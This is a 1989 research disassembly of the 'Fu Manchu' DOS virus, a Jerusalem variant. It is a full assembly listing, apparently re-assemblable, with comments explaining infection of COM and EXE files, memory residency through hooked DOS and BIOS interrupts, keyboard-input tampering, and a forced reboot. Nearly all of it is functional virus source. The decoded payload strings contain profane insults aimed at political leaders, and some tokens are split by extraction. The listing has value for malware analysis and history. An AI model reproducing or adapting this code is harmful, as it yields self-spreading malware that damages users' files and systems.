2022-08-21 09:07:57 +00:00
page 65 , 132
title The 'Fu Manchu' Virus
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͻ
; <20> British Computer Virus Research Centre <20>
; <20> 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England <20>
; <20> Telephone: Domestic 0273-26105, International +44-273-26105 <20>
; <20> <20>
; <20> The 'Fu Manchu' Virus <20>
; <20> Disassembled by Joe Hirst, June 1989 <20>
; <20> <20>
; <20> Copyright (c) Joe Hirst 1989. <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͼ
; The virus occurs attached to the beginning of a COM file, or the end
; of an EXE file. A COM file also has the six-byte 'marker' attached
; to the end.
; This virus is a variation of the Jerusalem virus
; The disassembly has been tested by re-assembly using MASM 5.0.
RAM SEG MENT AT 0
; System data
ORG 3FCH
BW03FC DW ?
BB03FE DB ?
ORG 417H
BB0417 DB ? ; Key states
ORG 46CH
BB046C DB ? ; System clock - low byte
ORG 2CH
ENV_SG DW ? ; Segment address of environment
RAM ENDS
RAM40 SEG MENT at 400H
ORG 1AH
BW041A DW ? ; Key token in pointer
BW041C DW ? ; Key token out pointer
ORG 80H
BW0480 DW ? ; Key token buffer start pointer
BW0482 DW ? ; Key token buffer end pointer
RAM40 ENDS
CODE SEG MENT BYTE PUBLIC 'CODE'
ASSUME CS : CODE , DS : NOTHING , ES : RAM
; Entry point when attached to a COM file
START: JMP BP 0010
DB 'sAX'
VR_SIG DB 'rEMHOr'
VIR_RT EQU THIS DWORD
V_RTOF DW 100H
V_RTSG DW 323FH
INT_08 EQU THIS DWORD
I08OFF DW 0106H ; Int 8 offset
I08SEG DW 0E95H ; Int 8 segment
INT_09 EQU THIS DWORD
I09OFF DW 02E9H ; Int 9 offset
I09SEG DW 0DC6H ; Int 9 segment
INT_16 EQU THIS DWORD
I16OFF DW 0 ; Int 16H offset
I16SEG DW 0 ; Int 16H segment
INT_21 EQU THIS DWORD
I21OFF DW 138DH ; Int 21H offset
I21SEG DW 029BH ; Int 21H segment
INT_24 EQU THIS DWORD
I24OFF DW 04EBH ; Int 24H offset
I24SEG DW 3228H ; Int 24H segment
BEGIN DW 0 ; Initial value for AX
F_SIZE DW 49H ; Total file size
TCOUNT1 DW 0 ; Timer count (low)
TCOUNT2 DW 0 ; Timer count (high)
ST_ES1 DW 3195H ; Original ES
SET_PA DW 00A2H
; Program parameter block
PPB_01 DW 0 ; Environment address
PPB_02 DW 0080H ; Command line offset
PPB_03 DW 3195H ; Command line segment
PPB_04 DW 005CH ; FCB1 offset
PPB_05 DW 3195H ; FCB1 segment
PPB_06 DW 006CH ; FCB2 offset
PPB_07 DW 3195H ; FCB2 segment
PRG_SP DW 0 ; Initial stack pointer store
PRG_SS DW 31A5H ; Initial stack segment store
PROGRM EQU THIS DWORD
PRGOFF DW 0 ; Initial code offset store
PRGSEG DW 31A5H ; Initial code segment store
SS_ST1 DW 0 ; Store for system area data (1)
SS_ST2 DB 86H ; Store for system area data (2)
; .EXE header store
EXEHED DB 4DH , 5AH ; 00 .EXE header ident
EXHD01 DW 0070H ; 02 Bytes in last page
EXHD02 DW 0006H ; 04 Size of file in pages
EXHD03 DW 0000H ; 06 Number of relocation entries
EXHD04 DW 0020H ; 08 Size of header in paragraphs
EXHD05 DW 0000H ; 0A Minimum extra storage required
EXHD06 DW - 1 ; 0C Maximum extra storage required
EXHD07 DW 0005H ; 0E Initial stack segment
EXHD08 DW ENDADR ; 10 Initial stack pointer
EXHD09 DW 1988H ; 12 Negative checksum
EXHD10 DW 0223H ; 14 Initial code offset
EXHD11 DW 0005H ; 16 Initial code segment
DW 01EH ; 18 Relative offset of reloc table
DW 0 ; 1A Overlay number
SIGBUF DB 069H , 06FH , 06EH , 00DH , 00AH , 024H
F_HAND DW 5 ; File handle
F_ATTS DW 0020H ; File attributes
F_DATE DW 1273H ; File date
F_TIME DW 4972H ; File time
F_SIZ1 DW 0250H ; Low-order file size
F_SIZ2 DW 0 ; High-order file size
F_PATH EQU THIS DWORD
FPTHOF DW 3D5BH ; Program pathname offset
FPTHSG DW 9B70H ; Program pathname segment
COM_CM DB 'COMMAND.COM'
EXE_SW DB 0 ; EXE switch - 0 = .COM extension
MEM_SW DW 1 ; Memory allocated switch
OUT_SW DB 0 ; Output in progress switch
BYTSEC DW 0200H ; Bytes per sector
PARAGR DW 0010H ; Size of a paragraph
; The next fields are encrypted, and translate to:
;STRNG1 DB 'fu manchu virus 3/10/88 - latest in the new fun line!', 0
;STRNG2 DB 'thatcher is a cunt ', 0
;STRNG3 DB 'reagan is an arsehole ', 0
;STRNG4 DB 'botha is a bastard ', 0
;STRNG5 DB 'waldheim is a Nazi ', 0
;STRNG6 DB 'fuck', 8, 8, 8, 8, 0
;STRNG7 DB 'cunt', 8, 8, 8, 8, 0
;STRNG8 DB 'The world will hear from me again! ', 0
STRNG1 DB 0C9H , 0DAH , 08FH , 0C2H , 0CEH , 0C1H , 0CCH , 0C7H
DB 0DAH , 08FH , 0D9H , 0C6H , 0DDH , 0DAH , 0DCH , 08FH
DB 09CH , 080H , 09EH , 09FH , 080H , 097H , 097H , 08FH
DB 082H , 08FH , 0C3H , 0CEH , 0DBH , 0CAH , 0DCH , 0DBH
DB 08FH , 0C6H , 0C1H , 08FH , 0DBH , 0C7H , 0CAH , 08FH
DB 0C1H , 0CAH , 0D8H , 08FH , 0C9H , 0DAH , 0C1H , 08FH
DB 0C3H , 0C6H , 0C1H , 0CAH , 08EH , 0
STRNG2 DB 0DBH , 0C7H , 0CEH , 0DBH , 0CCH , 0C7H , 0CAH , 0DDH
DB 08FH , 0C6H , 0DCH , 08FH , 0CEH , 08FH , 0CCH , 0DAH
DB 0C1H , 0DBH , 08FH , 0
STRNG3 DB 0DDH , 0CAH , 0CEH , 0C8H , 0CEH , 0C1H , 08FH , 0C6H
DB 0DCH , 08FH , 0CEH , 0C1H , 08FH , 0CEH , 0DDH , 0DCH
DB 0CAH , 0C7H , 0C0H , 0C3H , 0CAH , 08FH , 0
STRNG4 DB 0CDH , 0C0H , 0DBH , 0C7H , 0CEH , 08FH , 0C6H , 0DCH
DB 08FH , 0CEH , 08FH , 0CDH , 0CEH , 0DCH , 0DBH , 0CEH
DB 0DDH , 0CBH , 08FH , 0
STRNG5 DB 0D8H , 0CEH , 0C3H , 0CBH , 0C7H , 0CAH , 0C6H , 0C2H
DB 08FH , 0C6H , 0DCH , 08FH , 0CEH , 08FH , 0E1H , 0CEH
DB 0D5H , 0C6H , 08FH , 0
STRNG6 DB 0C9H , 0DAH , 0CCH , 0C4H , 0A7H , 0A7H , 0A7H , 0A7H , 0
STRNG7 DB 0CCH , 0DAH , 0C1H , 0DBH , 0A7H , 0A7H , 0A7H , 0A7H , 0
STRNG8 DB 0FBH , 0C7H , 0CAH , 08FH , 0D8H , 0C0H , 0DDH , 0C3H
DB 0CBH , 08FH , 0D8H , 0C6H , 0C3H , 0C3H , 08FH , 0C7H
DB 0CAH , 0CEH , 0DDH , 08FH , 0C9H , 0DDH , 0C0H , 0C2H
DB 08FH , 0C2H , 0CAH , 08FH , 0CEH , 0C8H , 0CEH , 0C6H
DB 0C1H , 08EH , 08FH , 08FH , 08FH , 0
; Each entry is:
; DB length to find
; DB length found
; DW pointer to string
TABLE DB 10 , 0
DW STRNG1
DB 9 , 0
DW STRNG2
DB 7 , 0
DW STRNG3
DB 6 , 0
DW STRNG4
DB 9 , 0
DW STRNG5
DB 4 , 0
DW STRNG6
DB 4 , 0
DW STRNG7
DB 0
TABOUT DW 0 ; Table entry for output
; Key number table for fake input
KEYTAB DB 03H , 1EH , 30H , 2EH , 20H , 12H , 21H , 22H ; 00 - 07
DB 0EH , 0FH , 1CH , 25H , 26H , 1CH , 31H , 18H ; 08 - 0F
DB 19H , 10H , 13H , 1FH , 14H , 16H , 2FH , 11H ; 10 - 17
DB 2DH , 15H , 2CH , 01H , 2BH , 1BH , 07H , 0CH ; 18 - 1F
DB 39H , 02H , 28H , 04H , 05H , 06H , 08H , 28H ; 20 - 27
DB 0AH , 0BH , 09H , 0DH , 33H , 0CH , 34H , 35H ; 28 - 2F
DB 0BH , 02H , 03H , 04H , 05H , 06H , 07H , 08H ; 30 - 37
DB 09H , 0AH , 27H , 27H , 33H , 0DH , 34H , 35H ; 38 - 3F
DB 03H , 1EH , 30H , 2EH , 20H , 12H , 21H , 22H ; 40 - 47
DB 23H , 17H , 24H , 25H , 26H , 32H , 31H , 18H ; 48 - 4F
DB 19H , 10H , 13H , 1FH , 14H , 16H , 2FH , 11H ; 50 - 57
DB 2DH , 15H , 2CH , 1AH , 2BH , 1BH , 07H , 0CH ; 58 - 5F
DB 29H , 1EH , 30H , 2EH , 20H , 12H , 21H , 22H ; 60 - 67
DB 23H , 17H , 24H , 25H , 26H , 32H , 31H , 18H ; 68 - 6F
DB 19H , 10H , 13H , 1FH , 14H , 16H , 2FH , 11H ; 70 - 77
DB 2DH , 15H , 2CH , 1AH , 2BH , 1BH , 29H , 0EH ; 78 - 7F
; This section assumes a COM origin of 100H
BP0010: CLD
MOV AH , 0E1H ; Virus "are you there" call
INT 21H ; DOS service (Virus - 1)
CMP AH , 0E1H ; Test for unchanged
JNB BP 0020 ; Branch if invalid reply
CMP AH , 4 ; Test for standard "yes"
JB BP 0020 ; Branch if non-standard
MOV AH , 0DDH ; Replace program over virus
MOV DI , 0100H ; Initial offset
MOV SI , OFFSET ENDADR ; Length of virus
ADD SI , DI ; Add initial offset
MOV CX , F_SIZE [ DI ] ; Get total filesize
INT 21H ; DOS service (Virus - 2)
; Virus not in system, or non-communicating variety
BP0020: MOV AX , CS ; Get current segment
ADD AX , 10H ; Address past PSP
MOV PRG_SP , SP ; Save current value
MOV SS , AX ; \ Set up stack
MOV SP , OFFSET ENDADR + 100H ; /
PUSH AX ; Segment for return
MOV AX , OFFSET BP 0030 ; \ Offset for return
PUSH AX ; /
RETF ; "Return" to next instruction
; We now have an origin of zero
; Entry point when attached to an EXE file
BP0030: CLD
PUSH ES
MOV ST_ES1 , ES ; Save original ES
MOV PPB_03 , ES ; \
MOV PPB_05 , ES ; ) Segments in PPB
MOV PPB_07 , ES ; /
MOV AX , ES ; \ Segment relocation factor
ADD AX , 10H ; /
ADD PRGSEG , AX ; Initial code segment store
ADD PRG_SS , AX ; Initial stack segment store
MOV AH , 0E1H ; Virus "are you there" call
INT 21H ; DOS service (Virus - 1)
CMP AH , 0E1H ; Test for unchanged
JNB BP 0040 ; Branch if not
CMP AH , 4 ; Test for standard "yes"
POP ES
MOV SS , PRG_SS ; Initial stack segment store
MOV SP , PRG_SP ; Initial stack pointer store
JMP PROGRM ; Start of actual program
; Virus is not already active
BP0040: XOR AX , AX ; \ Address page zero
MOV ES , AX ; /
MOV AX , BW03FC ; \ Save system area data (1)
MOV SS _ST1 , AX ; /
MOV AL , BB03FE ; \ Save system area data (2)
MOV SS _ST2 , AL ; /
MOV BW03FC , 0A4F3H ; Store REPZ MOVSB
MOV BB03FE , 0CBH ; Store RETF
POP AX ; \
ADD AX , 10H ; ) Address past PSP
MOV ES , AX ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX , OFFSET ENDADR ; Length of virus
XOR SI , SI ; \ Clear registers
MOV DI , SI ; /
PUSH ES ; \
MOV AX , OFFSET BP 0050 ; ) Set up return address
PUSH AX ; /
DB 0EAH ; \ Far jump to move instruction
DW BW03FC , 0 ; /
BP0050: MOV AX , CS ; \
MOV SS , AX ; ) Set up internal stack
MOV SP , OFFSET ENDADR + 100H ; /
XOR AX , AX ; \ Address page zero
MOV DS , AX ; /
ASSUME DS : RAM , ES : NOTHING
MOV AX , SS _ST1 ; \ Restore system area data (1)
MOV BW03FC , AX ; /
MOV AL , SS _ST2 ; \ Restore system area data (2)
MOV BB03FE , AL ; /
MOV BX , SP ; Get stack pointer
MOV CL , 4 ; \ Convert to paragraphs
SHR BX , CL ; /
ADD BX , 10H ; Allow for PSP
MOV SET_PA , BX ; Save number of paragraphs
MOV ES , ST_ES1 ; Get original ES
MOV AH , 4AH ; Set block
INT 21H ; DOS service (Set block)
MOV AX , 3521H ; Get interrupt 21H
INT 21H ; DOS service (Get int)
MOV I21OFF , BX ; Save interrupt 21H offset
MOV I21SEG , ES ; Save interrupt 21H segment
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS : CODE
MOV DX , OFFSET BP 0170 ; Interrupt 21H routine
MOV AX , 2521H ; Set interrupt 21H
INT 21H ; DOS service (Set int)
MOV ES , ST_ES1 ; Get original ES
ASSUME ES : RAM
MOV ES , ES : ENV_SG ; Get environment segment
XOR DI , DI ; Start of environment
MOV CX , 7FFFH ; Allow for 32K environment
XOR AL , AL ; Search for zero
BP0060: REPNZ SCASB ; Find zero
CMP ES :[ DI ], AL ; Is following character zero
LOOPNZ BP 0060 ; Search again if not
MOV DX , DI ; Save pointer
ADD DX , 3 ; Address pathname
MOV AX , 4B00H ; Load and execute program
PUSH ES ; \ Set DS to ES
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
ASSUME DS : RAM , ES : NOTHING
MOV BX , OFFSET PPB_01 ; PPB (for load and execute)
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS : CODE
; Install interrupt 9 routine
MOV AX , 3509H ; Get interrupt 9
INT 21H ; DOS service (Get int)
MOV I09OFF , BX ; Save interrupt 9 offset
MOV I09SEG , ES ; Save interrupt 9 segment
MOV AX , 2509H ; Set interrupt 9
MOV DX , OFFSET BP 0150 ; Interrupt 9 routine
INT 21H ; DOS service (Set int)
MOV AH , 2AH ; Get date
INT 21H ; DOS service (Get date)
CMP CX , 07C5H ; Year = 1989
JL BP 0070 ; Branch if before
CMP DH , 8 ; Month = August
JL BP 0070 ; Branch if before
; Install interrupt 16H routine
MOV OUT_SW , 0 ; Set off output switch
MOV AX , 3516H ; Get interrupt 16H
INT 21H ; DOS service (Get int)
MOV I16OFF , BX ; Save interrupt 16H offset
MOV I16SEG , ES ; Save interrupt 16H segment
MOV AX , 2516H ; Set interrupt 16H
MOV DX , OFFSET BP 0540 ; Interrupt 16H routine
INT 21H ; DOS service (Set int)
BP0070: MOV BL , BB046C ; Get low byte of system clock
MOV BH , BL ; Copy
AND BX , 0F00FH ; Isolate nibbles
CMP BL , 0 ; Is low nibble of clock zero?
JNE BP 0080 ; Branch if not
MOV CL , 4 ; Bits to move
SHR BH , CL ; Move top nibble to bottom
CMP BH , 0 ; Is second nibble of clock zero?
JE BP 0080 ; Branch if yes
XOR AX , AX ; Clear register
MOV TCOUNT1 , AX ; Set timer count (low)
MOV AL , BH ; Get second nibble of system clock
MOV TCOUNT2 , AX ; Set timer count (high)
; Install interrupt 8 routine
MOV AX , 3508H ; Get interrupt 8
INT 21H ; DOS service (Get int)
MOV I08OFF , BX ; Save interrupt 8 offset
MOV I08SEG , ES ; Save interrupt 8 segment
MOV AX , 2508H ; Set interrupt 8
MOV DX , OFFSET BP 0100 ; Interrupt 8 routine
INT 21H ; DOS service (Set int)
BP0080: POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
ASSUME DS : NOTHING
PUSHF ; Fake an interrupt
CALL INT_21 ; Interrupt 21H (Load and execute)
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV AH , 49H ; Free allocated memory
INT 21H ; DOS service (Free memory)
MOV AH , 4DH ; Get return code of child process
INT 21H ; DOS service (Get return code)
MOV AH , 31H ; Keep process
MOV DX , OFFSET ENDADR ; Length of program
MOV CL , 4 ; \ Convert to paragraphs
SHR DX , CL ; /
ADD DX , 10H ; Add length of PSP
INT 21H ; DOS service (Keep process)
; Interrupt 24H
BP0090: XOR AL , AL ; Ignore the error
IRET
; Interrupt 8
BP0100: SUB TCOUNT1 , 1 ; \ Subtract from timer count
SBB TCOUNT2 , 0 ; /
JNZ BP 0140 ; Branch if not zero
CMP TCOUNT1 , 0 ; Is low count zero?
JNZ BP 0140 ; Branch if not
BP0110: PUSH CS ; \ Set DS to CS
POP DS ; /
MOV AX , 3 ; Mode three
INT 10H ; VDU I/O
MOV AH , 2 ; Move cursor
MOV BH , 0 ; Page zero
MOV DX , 0A14H ; Row ten column twenty
INT 10H ; VDU I/O
MOV SI , OFFSET STRNG8 ; Address message
BP0120: LOOP BP 0120 ; Delay between characters
LODSB ; Get a character
CMP AL , 0 ; Is that the end?
JE BP 0130 ; Branch if yes
XOR AL , 0AFH ; Decrypt character
MOV AH , 14 ; Write in TTY mode
INT 10H ; VDU I/O
JMP BP 0120 ; Next character
BP0130: DB 0EAH ; Far jump to BIOS initialisation
DW 0FFF0H , 0F000H
BP0140: JMP INT_08 ; Interrupt 8
; Interrupt 9
ASSUME DS : RAM
BP0150: PUSH AX
PUSH BX
PUSH DS
XOR AX , AX ; \ Address zero
MOV DS , AX ; /
IN AL , 60H ; Get keyboard token
MOV BL , BB0417 ; Get key states
TEST BL , 8 ; Alt key depressed?
JZ BP 0160 ; Branch if not
TEST BL , 4 ; Ctrl key depressed?
JZ BP 0160 ; Branch if not
CMP AL , 53H ; Del character token?
JNE BP 0160 ; Branch if not
AND BL , 0F3H ; Set off Alt & Ctrl states
MOV BB0417 , BL ; Replace key states
IN AL , 61H ; Get Port B
MOV AH , AL ; Save value
OR AL , 80H ; Set on keyboard reset bit
OUT 61H , AL ; Output port B
XCHG AL , AH ; Recover original Port B value
OUT 61H , AL ; Output port B
JMP BP 0110 ; Message and reboot
BP0160: POP DS
POP BX
POP AX
JMP INT_09 ; Interrupt 9
; Interrupt 21H
BP0170: PUSHF
CMP AH , 0E1H ; Virus "are you there" call
JNE BP 0180 ; Branch if other call
MOV AX , 0400H ; Standard "yes"
POPF
IRET
BP0180: CMP AH , 0DDH ; Virus move and execute COM call
JE BP 0200 ; Branch if yes
CMP AX , 4B00H ; Is it load and execute
JNE BP 0190 ; Branch if not
JMP BP 0210 ; Process load and execute
BP0190: POPF
JMP INT_21 ; Interrupt 21H
; Move program down and execute (COM only) call
ASSUME DS : NOTHING
BP0200: POP AX
POP AX ; Retrieve return offset
MOV AX , 100H ; Replace with start address
MOV V_RTOF , AX ; Store in return jump
POP AX ; Retrieve return segment
MOV V_RTSG , AX ; Store in return jump
REPZ MOVSB ; Restore program to beginning
POPF
MOV AX , BEGIN ; Start with zero register
JMP VIR_RT ; Start actual program
; Process load and execute program
BP0210: MOV F_HAND , - 1 ; No file handle
MOV MEM_SW , 0 ; Set off memory allocated switch
MOV FPTHOF , DX ; Save pathname offset
MOV FPTHSG , DS ; Save pathname segment
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CLD
MOV DI , DX ; Point to file pathname
XOR DL , DL ; Default drive
CMP BYTE PTR [ DI + 1 ], 3AH ; Test second character for ':'
JNE BP 0220 ; Branch if not
MOV DL ,[ DI ] ; Get drive letter
AND DL , 1FH ; Convert to number
BP0220: MOV AH , 36H ; Get disk free space
INT 21H ; DOS service (Get disk free)
CMP AX , - 1 ; Test for invalid drive
JNE BP 0240 ; Branch if not
BP0230: JMP BP 0530 ; Terminate
BP0240: MUL BX ; Calc number of free sectors
MUL CX ; Calc number of free bytes
OR DX , DX ; Test high word of result
JNZ BP 0250 ; Branch if not zero
CMP AX , OFFSET ENDADR ; Length of virus
JB BP 0230 ; Terminate if less
BP0250: MOV DX , FPTHOF ; Get pathname offset
PUSH DS ; \ Set ES to DS
POP ES ; /
XOR AL , AL ; Test character - zero
MOV CX , 41H ; Maximum pathname length
REPNZ SCASB ; Find end of pathname
MOV SI , FPTHOF ; Get pathname offset
BP0260: MOV AL ,[ SI ] ; Get pathname character
OR AL , AL ; Test for a character
JZ BP 0280 ; Finish if none
CMP AL , 61H ; Test for 'a'
JB BP 0270 ; Branch if less
CMP AL , 7AH ; Test for 'z'
JA BP 0270 ; Branch if above
SUB BYTE PTR [ SI ], 20H ; Convert to uppercase
BP0270: INC SI ; Address next character
JMP BP 0260 ; Process next character
BP0280: MOV CX , 0BH ; Load length 11
SUB SI , CX ; Address back by length
MOV DI , OFFSET COM_CM ; 'COMMAND.COM'
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV CX , 0BH ; Load length again
REPZ CMPSB ; Compare
JNE BP 0290 ; Continue if not command.com
JMP BP 0530 ; Terminate
BP0290: MOV AX , 4300H ; Get file attributes
INT 21H ; DOS service (Get attributes)
JB BP 0300 ; Follow chain of error branches
MOV F_ATTS , CX ; Save file attributes
BP0300: JB BP 0320 ; Follow chain of error branches
XOR AL , AL ; Scan character - zero
MOV EXE_SW , AL ; Set EXE switch off
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV DI , DX ; Pointer to pathname
MOV CX , 41H ; Maximum pathname length
REPNZ SCASB ; Find end of pathname
CMP BYTE PTR [ DI - 2 ], 4DH ; Is last letter 'M'
JE BP 0310 ; Branch if yes
CMP BYTE PTR [ DI - 2 ], 6DH ; Is last letter 'm'
JE BP 0310 ; Branch if yes
INC EXE_SW ; Set EXE switch on
BP0310: MOV AX , 3D00H ; Open handle, read only
INT 21H ; DOS service (Open handle)
BP0320: JB BP 0330 ; Follow chain of error branches
MOV F_HAND , AX ; Save file handle
MOV BX , AX ; File handle
CMP EXE_SW , 0 ; Test EXE switch
JE BP 0340 ; Branch if off
; Test EXE file for infection
MOV CX , 1CH ; Length of EXE header
MOV DX , OFFSET EXEHED ; .EXE header store
MOV AX , CS ; \
MOV DS , AX ; ) Make DS & ES same as CS
MOV ES , AX ; /
ASSUME DS : CODE
MOV AH , 3FH ; Read handle
INT 21H ; DOS service (Read handle)
BP0330: JB BP 0370 ; Follow chain of error branches
CMP EXHD09 , 1988H ; Negative checksum
JNE BP 0360 ; Branch if not infected
JMP BP 0350 ; Dont infect
ASSUME DS : NOTHING
BP0340: MOV AX , 4202H ; Move file pointer
MOV CX , - 1 ; \ End of file minus 6
MOV DX , - 6 ; /
INT 21H ; DOS service (Move pointer)
JB BP 0320 ; Follow chain of error branches
ADD AX , 6 ; Total file size
MOV F_SIZE , AX ; Save total file size
MOV CX , 6 ; Length to read
MOV DX , OFFSET SI GBUF ; Infection test buffer
MOV AX , CS ; \
MOV DS , AX ; ) Make DS & ES same as CS
MOV ES , AX ; /
ASSUME DS : CODE
MOV AH , 3FH ; Read handle
INT 21H ; DOS service (Read handle)
MOV DI , DX ; Address test buffer
MOV SI , OFFSET VR_SIG ; Signature
REPZ CMPSB ; Compare signatures
JNE BP 0360 ; Branch if not infected
BP0350: MOV AH , 3EH ; Close handle
INT 21H ; DOS service (Close handle)
JMP BP 0530 ; Terminate
BP0360: MOV AX , 3524H ; Get interrupt 24H
INT 21H ; DOS service (Get int)
MOV I24OFF , BX ; Save interrupt 24H offset
MOV I24SEG , ES ; Save interrupt 24H segment
MOV DX , OFFSET BP 0090 ; Interrupt 24H routine
MOV AX , 2524H ; Set interrupt 24H
INT 21H ; DOS service (Set int)
LDS DX , F_PATH ; Address program pathname
XOR CX , CX ; No attributes
MOV AX , 4301H ; Set file attributes
INT 21H ; DOS service (Set attributes)
ASSUME DS : NOTHING
BP0370: JB BP 0380 ; Follow chain of error branches
MOV BX , F_HAND ; Get file handle
MOV AH , 3EH ; Close handle
INT 21H ; DOS service (Close handle)
MOV F_HAND , - 1 ; No file handle
MOV AX , 3D02H ; Open handle read/write
INT 21H ; DOS service (Open handle)
JB BP 0380 ; Follow chain of error branches
MOV F_HAND , AX ; Save file handle
MOV AX , CS ; \
MOV DS , AX ; ) Make DS & ES same as CS
MOV ES , AX ; /
ASSUME DS : CODE
MOV BX , F_HAND ; Get file handle
MOV AX , 5700H ; Get file date and time
INT 21H ; DOS service (Get file date)
MOV F_DATE , DX ; Save file date
MOV F_TIME , CX ; Save file time
MOV AX , 4200H ; Move file pointer
XOR CX , CX ; \ Beginning of file
MOV DX , CX ; /
INT 21H ; DOS service (Move pointer)
BP0380: JB BP 0410 ; Follow chain of error branches
CMP EXE_SW , 0 ; Test EXE switch
JE BP 0390 ; Branch if off
JMP BP 0430 ; Process EXE file
; .COM file processing
BP0390: MOV BX , 1000H ; 64K of memory wanted
MOV AH , 48H ; Allocate memory
INT 21H ; DOS service (Allocate memory)
JNB BP 0400 ; Branch if successful
MOV AH , 3EH ; Close handle
MOV BX , F_HAND ; Get file handle
INT 21H ; DOS service (Close handle)
JMP BP 0530 ; Terminate
BP0400: INC MEM_SW ; Set on memory allocated switch
MOV ES , AX ; Segment of allocated memory
XOR SI , SI ; Start of virus
MOV DI , SI ; Start of allocated memory
MOV CX , OFFSET ENDADR ; Length of virus
REPZ MOVSB ; Copy virus to allocated
MOV DX , DI ; Address after virus
MOV CX , F_SIZE ; Total file size
MOV BX , F_HAND ; Get file handle
PUSH ES ; \ Set DS to ES
POP DS ; /
MOV AH , 3FH ; Read handle
INT 21H ; DOS service (Read handle)
BP0410: JB BP 0420 ; Follow chain of error branches
ADD DI , CX ; Add previous file size
XOR CX , CX ; \ Beginning of file
MOV DX , CX ; /
MOV AX , 4200H ; Move file pointer
INT 21H ; DOS service (Move pointer)
MOV SI , OFFSET VR_SIG ; Signature
MOV CX , 6 ; Length to move
REPZ MOVS [ DI ], CS : VR_SIG ; Copy signature to end
MOV CX , DI ; Length to write
XOR DX , DX ; Start of allocated
MOV AH , 40H ; Write handle
INT 21H ; DOS service (Write handle)
BP0420: JB BP 0440 ; Follow chain of error branches
JMP BP 0510 ; Free memory and reset values
; .EXE file processing
BP0430: MOV CX , 1CH ; Length of EXE header
MOV DX , OFFSET EXEHED ; .EXE header store
MOV AH , 3FH ; Read handle
INT 21H ; DOS service (Read handle)
BP0440: JB BP 0460 ; Follow chain of error branches
MOV EXHD09 , 1988H ; Negative checksum
MOV AX , EXHD07 ; \ Store initial stack segment
MOV PRG_SS , AX ; /
MOV AX , EXHD08 ; \ Store initial stack pointer
MOV PRG_SP , AX ; /
MOV AX , EXHD10 ; \ Store initial code offset
MOV PRGOFF , AX ; /
MOV AX , EXHD11 ; \ Store initial code segment
MOV PRGSEG , AX ; /
MOV AX , EXHD02 ; Get size of file in pages
CMP EXHD01 , 0 ; Number of bytes in last page
JE BP 0450 ; Branch if none
DEC AX ; One less page
BP0450: MUL BYTSEC ; Bytes per sector
ADD AX , EXHD01 ; \ Add bytes in last page
ADC DX , 0 ; /
ADD AX , 0FH ; \ Round up
ADC DX , 0 ; /
AND AX , 0FFF0H ; Clear bottom figure
MOV F_SIZ1 , AX ; Save low-order file size
MOV F_SIZ2 , DX ; Save high-order file size
ADD AX , OFFSET ENDADR ; \ Add virus length
ADC DX , 0 ; /
BP0460: JB BP 0480 ; Follow chain of error branches
DIV BYTSEC ; Bytes per sector
OR DX , DX ; Test odd bytes
JZ BP 0470 ; Branch if none
INC AX ; One more page for odd bytes
BP0470: MOV EXHD02 , AX ; Store size of file in pages
MOV EXHD01 , DX ; Store bytes in last page
MOV AX , F_SIZ1 ; Low-order file size
MOV DX , F_SIZ2 ; High-order file size
DIV PARAGR ; Size of a paragraph
SUB AX , EXHD04 ; Size of header in paragraphs
MOV EXHD11 , AX ; Initial code segment
MOV EXHD10 , OFFSET BP 0030 ; Initial code offset
MOV EXHD07 , AX ; Initial stack segment
MOV EXHD08 , OFFSET ENDADR ; Initial stack pointer
XOR CX , CX ; \ Beginning of file
MOV DX , CX ; /
MOV AX , 4200H ; Move file pointer
INT 21H ; DOS service (Move pointer)
